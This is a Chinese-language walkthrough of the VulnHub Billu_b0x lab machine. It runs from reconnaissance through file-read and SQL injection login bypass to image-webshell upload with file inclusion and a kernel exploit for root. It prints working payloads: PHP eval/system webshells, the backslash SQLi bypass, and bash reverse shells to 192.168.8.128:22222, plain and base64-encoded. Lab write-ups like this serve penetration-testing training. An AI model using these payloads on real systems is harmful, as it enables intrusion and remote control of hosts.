VulnHub靶场之Billu_b0x
简介
想不出骚话做简介。
忘了从哪看到一句说是,技术都是漏洞喂出来了。感慨岁月流逝的同时,还是抓紧打打靶机,提升提升能力吧。
靶机下载地址
[https://download.vulnhub.com/billu/Billu_b0x.zip]
虚拟机配置
下载的虚拟机是 ova 格式,当然装载到 virtualbox 上最好,也可以装载到vmware workstation上,本人电脑上是workstation,所以装载到workstation上。
打开虚拟机的过程中,可能会出现 “未通过 OVF 规范一致性” 的版本问题,此时需要重新下载 ovftool 工具(忘了从哪下载了…但是网上可以查到,我安装的是4.3.0),覆盖安装到VMware Workstation的 OVFTool 目录下即可。
重新装载 ova 模板,可以还会出现此错误,点击“重试”即可,此时就可以成功装载了。
成功之后,更改虚拟机网络模式为 NAT ,启动虚拟机
此时会出现虚拟设备的错误,不用管,点击“否”,等待虚拟机开启就好了,开启之后:
PS:靶机密码在/var/www/phpmy/config.inc.php中
信息收集
主机发现
nmap -sP 192.168.8.0/24
使用 nmap 发现存活主机,192.168.8.0是本人的 NAT 网段
端口服务探测
namp -p- -sV 192.168.8.131
对发现的主机进行端口服务探测
目录扫描
访问HTTP服务,并对web站点进行目录扫描,查看是否有敏感目录及文件
使用 dirsearch 目录扫描工具进行扫描
依次访问得出结果:
add.php 是一个没有交互逻辑的界面
in.php 是phpinfo界面
/phpmy/ 是PHPmyadmin管理界面
test.php 通过构造参数发现,存在文件下载漏洞
c.php 空白界面,通过读取,可得到PHPmyadmin账号密码
漏洞发现及利用
文件读取
访问in.php,发现存在可以本地文件包含的前提条件
访问test.php,发现需要构造函数
打开burp,使用GET请求方式构造参数,发现不成功
修改为POST方式(注意添加Content-Type请求头),成功读取/etc/passwd
读取c.php,发现数据库ica_lab登录密码 billu:b0x_billu
登陆PHPmyadmin,得到登陆界面的账号密码 biLLu:hEx_it
既然有PHPmyadmin的管理界面,尝试读取config.inc.php,看能不能读取到数据库的 root 账号密码
读取到 root:roottoor
尝试登陆PHPmyadmin失败,后发现是系统的账号密码
读取add.php,发现代码中没有交互逻辑
SQL注入
读取index.php,发现登陆处的SQL语句,str_replace()过滤了单引号,且先验证密码,后验证账号。
SQL语句(这块的单引号看了半天。。)
$run='select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\'';
//分离连接符 “.” ,遵循引号闭合就近原则,去除单引号闭合,转义:
$run=select * from auth where pass='$pass' and uname='$uname';
绕过:
//使用 \ ,转义 $pass 后的单引号,让 pass= 包含“and uname=”
//结果:
$run=select * from auth where pass='\' and uname=' or 1=1-- ';
//uname:or 1=1 --+
//pass:\
在读取index.php时,发现了登录后的panel.php,读取panel.php,发现存在POST类型的文件包含漏洞(POST类型没办法直接包含一句话木马连接)
获取web权限
使用读取到的密码登陆phpmyadmin,使用billu账号写马,发现没有权限
文件包含图片马写shell
PHPmyadmin写马失败,尝试使用文件包含图片马的形式,来获取权限。
直接包含可以写文件的图片马
在文件读取过程中,发现系统存在本地文件包含的前提条件,而后在 penal.php 代码中发现上传点,并且存在文件包含漏洞。
两种方式登录系统,一种使用PHPmyadmin读取到的账号密码,一种使用SQL注入绕过登录验证的方式。看你心情。
上传过程中,尝试使用00截断,上传失败(panel.php中有上传功能处的源代码)。
尝试文件包含。
上传一张具有写shell的图片马,使用panel.php中存在的文件包含,执行PHP代码:
上传,文件包含
访问shell.php,状态码显示200,成功写入
连接shell
另一种方式:通过命令执行写一句话
写一句话木马
上传一句话命令图片马,使用文件包含,命令执行,写入一句话木马。
由于连接一句话木马后,蚁剑的终端有些问题,最后还需要进行反弹shell。
使用system()函数命令执行,在这里我写了两种方式。
1、system($_GET['cmd']);
2、$a=$_GET['H'];
eval("$a");
这两种方式利用思路都一样,只是在这里记录一下不同的payload。
第一种:system($_GET[‘cmd’]);
上传图片,文件包含,命令执行
使用hackbar
cmd=echo '<?php eval($_POST[123])?>' >> uploaded_images/cmd.php
连接一句话
第二种:$_GET[‘H’]
在使用这种方式echo shell时,耽误了不少时间。
system("echo '<?php eval($_POST[123])?>' >> uploaded_images/cmd.php");
尝试多次,发现 $_POST[123],写不进去,或者说 "$_"组合写不进去
第一次猜测可能是 eval("$a") 的原因,但后来在windows上尝试,可以写入
第二次猜测可能是 dash 的原因,更换成 bash,还是不行
最后我也不知道到底是什么原因导致写不进去一句话木马。
第三次猜测,应该还是跟系统和PHP代码有关,和eva()函数和Linux的shell有关。在其他Linux系统上实验,也是写不进去 $_ 。代码中使用 eval(system()) 这种方式,可直接写入,通过传参的形式不行。后续有时间去调试下代码。
尝试了很长时间的结果(不要在意红框,看写入文件的内容):
最后没办法了,使用PHP函数进行写入
连接一句话
反弹shell
命令执行,直接反弹shell,不进行写马操作
第一种 system($_GET[‘cmd’]);
直接命令执行,反弹shell
但是就成了一次,不知道是玄学还是其他地方有问题。
或者可能是之前在进行反弹操作,因为一些原因导致反弹的过程有些慢,最后碰巧在hackbar中命令执行时,反弹成功。
反正在这个地方记录一下,等以后再来解决[doge]
直接执行应该是不行的,因为 & 符在URL中是参数之间的链接符,抓包发现,& 后边的没带入查询
把 & 符,URL编码
成功反弹
第二种 $_GET[‘H’]
跟第一种方式一样
echo "bash -i >& /dev/tcp/192.168.8.128/22222 0>&1" | bash
进行url编码,然后反弹
提权,获取主机权限
不知为何,这里使用蚁剑的终端提权失败,所以使用反弹出来的shell进行提权操作
内核提权
查看内核版本:uname -a
查看系统版本:cat /etc/issue
系统Ubuntu、内核3.13.0-32
使用 kali 自带的 searchsploit搜索exp
通过蚁剑把 37292.c 上传到靶机系统上,编译、赋权并执行(编译方式在脚本中有说明)
蚁剑终端中失败:
使用反弹处来的shell执行,成功提升到root权限
或者使用冰蝎的虚拟终端
总结:
关于反弹shell那块,为什么使用 echo 的形式,做一个说明。
从Ubuntu 6.10开始,默认使用shell是 dash 而不是 bash 。dash只有运行脚本的能力,而没有交互能力,所以需要指定bash,来进行命令执行。
echo "bash -i >& /dev/tcp/192.168.8.128/22222 0>&1" | bash
或者在进行一次base64编码,都可以
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjguMi8yMjIyMiAwPiYx" | base64 -d | bash
老师傅教我一句:bash -c 牛皮
bash -c "bash -i >& /dev/tcp/192.168.8.128/22222 0>&1"